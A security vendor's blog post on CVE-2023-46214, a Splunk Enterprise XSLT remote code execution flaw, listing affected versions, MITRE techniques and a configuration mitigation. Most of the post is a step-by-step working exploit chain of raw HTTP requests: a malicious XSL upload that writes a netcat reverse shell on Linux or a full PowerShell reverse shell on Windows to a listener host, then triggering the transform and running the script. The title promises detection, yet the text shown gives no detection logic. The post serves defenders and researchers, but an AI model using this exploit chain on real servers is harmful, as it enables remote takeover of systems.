We’ve expanded our partnership with Mandiant, now part of Google Cloud, to help our users operationalize and prioritize threat intelligence. READ THE PRESS RELEASE >

SnapAttack ThreatLabs: How to Detect CVE-2023-46214

trenton

Authored by Trenton Tait

Threat Researcher at SnapAttack

CVE-2023-46214 is identified as a Remote Code Execution (RCE) vulnerability within Splunk Enterprise, as reported in the Splunk security advisory SVD-2023-1104 on November 16, 2023. Successful exploitation of this vulnerability would give an attacker code execution on the target server. This can lead to exfiltration of sensitive information, persistence, lateral movement, destruction or impairment of the server, or many other malicious activities. This post highlights the way this vulnerability works and some useful detection strategies.

Overview of CVE-2023-46214

In Splunk Enterprise versions below 9.0.7 and 9.1.2, Splunk Enterprise does not safely sanitize extensible stylesheet language transformations (XSLT) that users supply. XSLT is primarily used to transform XML data into different formats. This is particularly useful in web development and data management, where XML data needs to be presented in a more user-friendly format like HTML or needs to be transformed for other applications.
Some XSLT processors support extension functions, which can be written in a programming language like Java or C#. If an XSLT stylesheet is allowed to call these functions without proper restrictions, it could potentially lead to executing arbitrary code. This means that an attacker can upload malicious XSLT which can result in execution on the Splunk Enterprise instance.

Vulnerable Versions 

Product 

Version 

Component 

Affected Version 

Fix Version 

Splunk Enterprise 

9.0 

Splunk Web 

9.0.0 to 9.0.6 

9.0.7 

Splunk Enterprise 

9.1 

Splunk Web 

9.1.0 to 9.1.1 

9.1.2 

Splunk Cloud 

 

Splunk Web 

Versions < 9.1.2308 

9.1.2308 

Vulnerable Versions 

  • Splunk Enterprise:  
    • Version: 9.0
    • Component: Splunk Web
    • Affected Version: 9.0.0 to 9.0.6
    • Fix Version: 9.0.7
  • Splunk Enterprise:  
    • Version: 9.1
    • Component: Splunk Web
    • Affected Version: 9.1.0 to 9.1.1
    • Fix Version: 9.1.2
  • Splunk Cloud:  
    • Version: N/A
    • Component: Splunk Web
    • Affected Version: Versions < 9.1.2308
    • Fix Version: 9.1.2308

Exploitation

The vulnerability consists of three primary steps: Upload a malicious XLS file via the adddatamethod endpoint, triggering the insecure XSL transformation via the getJobAsset function, and finally execute a Splunk command to trigger remote command execution.

Upload malicious XSL file

This can be accomplished via the adddatamethod endpoint where a user can upload a file. After uploading the file, the server responds with a unique ID. This ID corresponds to a directory in the dispatch directory where the file exists. The file uploaded here is the malicious XSL containing the XSL Extension (EXSL) namespace. The location and command used in the XSL depends on the target operating system.

Example Linux XSL
				
					POST /en-US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl HTTP/1.1 

Host: 10.0.254.161 

User-Agent: python-requests/2.31.0 

Accept-Encoding: gzip, deflate, br 

Accept: text/javascript, text/html, application/xml, text/xml, */* 

Connection: keep-alive 

X-Requested-With: XMLHttpRequest 

X-Splunk-Form-Key: 14482185398394202733 

Cookie: splunkd_8000=_x84zWyIz1VMDPEFkDBTHzA2eYV01nuBkUPK2kd6WAdaoTPRQ6B8scbDnUXFyobqTddjOqZWECPkcOCoS7q7KNv7W8NV0M6JHmUq8zZihi^r5cT125bd8lMbQ43oyFiOqn63bF; splunkweb_csrf_token_8000=14482185398394202733; session_id_8000=364de2f844a6f18092c2efdab2fcd0ee95ee0e67 

Content-Length: 596 

Content-Type: multipart/form-data; boundary=9960c54fb10ce9805f8997ed5571da91 

  

--9960c54fb10ce9805f8997ed5571da91 

Content-Disposition: form-data; name="spl-file"; filename="shell.xsl" 

Content-Type: application/xslt+xml 

  

<?xml version="1.0" encoding="UTF-8"?> 

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl"> 

   <xsl:template match="/"> 

      <exsl:document href="/opt/splunk/bin/scripts/shell.sh" method="text"> 

         <xsl:text>nc 10.0.254.196 4444 -e /bin/bash</xsl:text> 

      </exsl:document> 

   </xsl:template> 

</xsl:stylesheet> 

  

--9960c54fb10ce9805f8997ed5571da91-- 
				
			
Example Windows XSL
				
					POST /en-US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl HTTP/1.1 

Host: 10.0.254.155 

User-Agent: python-requests/2.31.0 

Accept-Encoding: gzip, deflate, br 

Accept: text/javascript, text/html, application/xml, text/xml, */* 

Connection: keep-alive 

X-Requested-With: XMLHttpRequest 

X-Splunk-Form-Key: 14482185398394202733 

Cookie: splunkd_8000=_x84zWyIz1VMDPEFkDBTHzA2eYV01nuBkUPK2kd6WAdaoTPRQ6B8scbDnUXFyobqTddjOqZWECPkcOCoS7q7KNv7W8NV0M6JHmUq8zZihi^r5cT125bd8lMbQ43oyFiOqn63bF; splunkweb_csrf_token_8000=14482185398394202733; session_id_8000=364de2f844a6f18092c2efdab2fcd0ee95ee0e67 

Content-Length: 596 

Content-Type: multipart/form-data; boundary=9960c54fb10ce9805f8997ed5571da91 

  

--9960c54fb10ce9805f8997ed5571da91 

Content-Disposition: form-data; name="spl-file"; filename="shell.xsl" 

Content-Type: application/xslt+xml 

  

<?xml version="1.0" encoding="UTF-8"?> 

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl"> 

  <xsl:template match="/"> 

    <exsl:document href="C:\Progam Files\Splunk\bin\scripts\shell.cmd" method="text"> 

        <xsl:text>powershell -c $client = New-Object System.Net.Sockets.TCPClient(‘{ip}’,{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()</xsl:text> 

    </exsl:document> 

  </xsl:template> 

</xsl:stylesheet> 

 

--9960c54fb10ce9805f8997ed5571da91-- 

 

 

Retrieve the job ID 

POST /en-US/splunkd/__raw/servicesNS/snapattack/search/search/jobs?output_mode=json HTTP/1.1 

Host: 10.0.254.161 

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0 

Accept-Encoding: gzip, deflate, br 

Accept: */* 

Connection: keep-alive 

X-Requested-With: XMLHttpRequest 

X-Splunk-Form-Key: 14482185398394202733 

Cookie: splunkd_8000=_x84zWyIz1VMDPEFkDBTHzA2eYV01nuBkUPK2kd6WAdaoTPRQ6B8scbDnUXFyobqTddjOqZWECPkcOCoS7q7KNv7W8NV0M6JHmUq8zZihi^r5cT125bd8lMbQ43oyFiOqn63bF; splunkweb_csrf_token_8000=14482185398394202733; session_id_8000=364de2f844a6f18092c2efdab2fcd0ee95ee0e67 

Content-Length: 30 

Content-Type: application/x-www-form-urlencoded 

  

search=%7Csearch+test%7Chead+1 

 

HTTP/1.1 201 Created 

Date: Mon, 11 Dec 2023 18:13:44 GMT 

Expires: Thu, 26 Oct 1978 00:00:00 GMT 

Cache-Control: no-store, no-cache, must-revalidate, max-age=0 

Content-Type: application/json; charset=UTF-8 

X-Content-Type-Options: nosniff 

Link: <1702318424.15>; rel=info 

Content-Length: 23 

Location: /servicesNS/snapattack/search/search/jobs/1702318424.15 

Vary: Cookie 

Connection: Keep-Alive 

Set-Cookie: splunkd_8000=_x84zWyIz1VMDPEFkDBTHzA2eYV01nuBkUPK2kd6WAdaoTPRQ6B8scbDnUXFyobqTddjOqZWECPkcOCoS7q7KNv7W8NV0M6JHmUq8zZihi^r5cT125bd8lMbQ43oyFiOqn63bF; Path=/; HttpOnly; Max-Age=3600; Expires=Mon, 11 Dec 2023 19:13:44 GMT 

Set-Cookie: splunkweb_csrf_token_8000=14482185398394202733; Path=/; Max-Age=157680000; Expires=Sat, 09 Dec 2028 18:13:44 GMT 

X-Frame-Options: SAMEORIGIN 

Server: Splunkd 

  

{"sid":"1702318424.15"} 
				
			
Retrieve the job ID
				
					POST /en-US/splunkd/__raw/servicesNS/snapattack/search/search/jobs?output_mode=json HTTP/1.1 

Host: 10.0.254.161 

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0 

Accept-Encoding: gzip, deflate, br 

Accept: */* 

Connection: keep-alive 

X-Requested-With: XMLHttpRequest 

X-Splunk-Form-Key: 14482185398394202733 

Cookie: splunkd_8000=_x84zWyIz1VMDPEFkDBTHzA2eYV01nuBkUPK2kd6WAdaoTPRQ6B8scbDnUXFyobqTddjOqZWECPkcOCoS7q7KNv7W8NV0M6JHmUq8zZihi^r5cT125bd8lMbQ43oyFiOqn63bF; splunkweb_csrf_token_8000=14482185398394202733; session_id_8000=364de2f844a6f18092c2efdab2fcd0ee95ee0e67 

Content-Length: 30 

Content-Type: application/x-www-form-urlencoded 

  

search=%7Csearch+test%7Chead+1 

 

HTTP/1.1 201 Created 

Date: Mon, 11 Dec 2023 18:13:44 GMT 

Expires: Thu, 26 Oct 1978 00:00:00 GMT 

Cache-Control: no-store, no-cache, must-revalidate, max-age=0 

Content-Type: application/json; charset=UTF-8 

X-Content-Type-Options: nosniff 

Link: <1702318424.15>; rel=info 

Content-Length: 23 

Location: /servicesNS/snapattack/search/search/jobs/1702318424.15 

Vary: Cookie 

Connection: Keep-Alive 

Set-Cookie: splunkd_8000=_x84zWyIz1VMDPEFkDBTHzA2eYV01nuBkUPK2kd6WAdaoTPRQ6B8scbDnUXFyobqTddjOqZWECPkcOCoS7q7KNv7W8NV0M6JHmUq8zZihi^r5cT125bd8lMbQ43oyFiOqn63bF; Path=/; HttpOnly; Max-Age=3600; Expires=Mon, 11 Dec 2023 19:13:44 GMT 

Set-Cookie: splunkweb_csrf_token_8000=14482185398394202733; Path=/; Max-Age=157680000; Expires=Sat, 09 Dec 2028 18:13:44 GMT 

X-Frame-Options: SAMEORIGIN 

Server: Splunkd 

  

{"sid":"1702318424.15"} 
				
			
File location on disk
				
					Linux - /opt/splunk/var/run/splunk/dispatch/1702318424.15/exploit.xsl 

 

Windows - C:\\Program Files\\Splunk\\var\\run\\splunk\\dispatch\1702318424.15\exploit.xsl
				
			
Trigger insecure XSL transformation via getJobAsset function

Next is to trigger the transform using the jobs endpoints and pass the uploaded XSL file. This will execute the XSL file writing the XSL text to the specified location. In this case it creates a shell script in /opt/splunk/bin/scripts/. Note the ID returned from the earlier request is used here.

Example

				
					GET /en-US/api/search/jobs/1702318424.15/results?xsl=/opt/splunk/var/run/splunk/dispatch/1702318424.15/shell.xsl HTTP/1.1 

Host: 10.0.254.161 

User-Agent: python-requests/2.31.0 

Accept-Encoding: gzip, deflate, br 

Accept: */* 

Connection: keep-alive 

Cookie: splunkd_8000=_x84zWyIz1VMDPEFkDBTHzA2eYV01nuBkUPK2kd6WAdaoTPRQ6B8scbDnUXFyobqTddjOqZWECPkcOCoS7q7KNv7W8NV0M6JHmUq8zZihi^r5cT125bd8lMbQ43oyFiOqn63bF; splunkweb_csrf_token_8000=14482185398394202733; session_id_8000=364de2f844a6f18092c2efdab2fcd0ee95ee0e67 
				
			
Execute SPL command runshellscript to trigger rce
The created file in the scripts folder can then be executed using the SPL query parameter runshellscript.
				
					| runshellscript "shell.sh" "" "" "" "" "" "" "" "1702318424.15" ""	 
				
			
This will trigger the script we created using the insecure xsl transform. Note the file must exist in the splunk scripts directory for this query to work. In addition, for the exploit to work a few things need to be true:
  • Valid credentials to access the job endpoint
  • enableSearchJobXslt must be True in splunk config (True by default)
  • X-Splunk-Module header needs to be set
  • XSL file extension must end with .xsl or .xslt
  • XSL file path must start with $SPLUNK_HOME

MITRE

T1220 – XSL Script Processing

Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files.

T1102 – Web Service

Adversaries may use an existing, legitimate external Web service as a means to relay data to/from a compromised system.

T1190 – Exploit Public-Facing Application

Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network.

T1505.003 – Server Software Component: Web Shell

Adversaries may backdoor web servers with web shells to establish persistent access to systems. 

T1105 – Ingress Tool Transfer

Adversaries may transfer tools or other files from an external system into a compromised environment.

Mitigations

Edit the web.conf configuration file and add the following configuration on instances where you want to limit the ability of search job requests to accept XSL:
				
					 
[settings] 
enableSearchJobXslt = false 
				
			

Conclusion

In summary, the manipulation of CVE-2023-46214 highlights a significant security issue in managing XSLT data. Attackers can manipulate Splunk’s inherent data transformation features by creating and uploading a harmful XSLT file to a vulnerable instance, allowing them to execute arbitrary commands. This vulnerability is rated at an 8.8 out of 10 due to its ease and danger of exploitation. The only real requirement is a valid user account with access to the jobs endpoint and remote access to the Splunk server. Attackers can easily attempt to brute force a working user account on publicly exposed servers to gain a foothold into the networks. Additionally, if an attacker already has a foothold and valid credentials, they could utilize credential reuse to even attack internal Splunk servers.

SnapAttack is the threat hunting, detection engineering, and detection validation platform for proactive threat-informed defense. Register for a FREE community account to access the content included in this blog post, as well as thousands of other community detections. Subscribers also get advanced features like a no-code detection builder, one-click deployments to leading SIEMs and EDRs like Chronicle, Sentinel, Splunk, CrowdStrike and SentinelOne, advanced threat profiles to prioritize relevant threats, and customized reports that track MITRE ATT&CK coverage and more!

Detections

View captured exploitation at SnapAttack:

Resources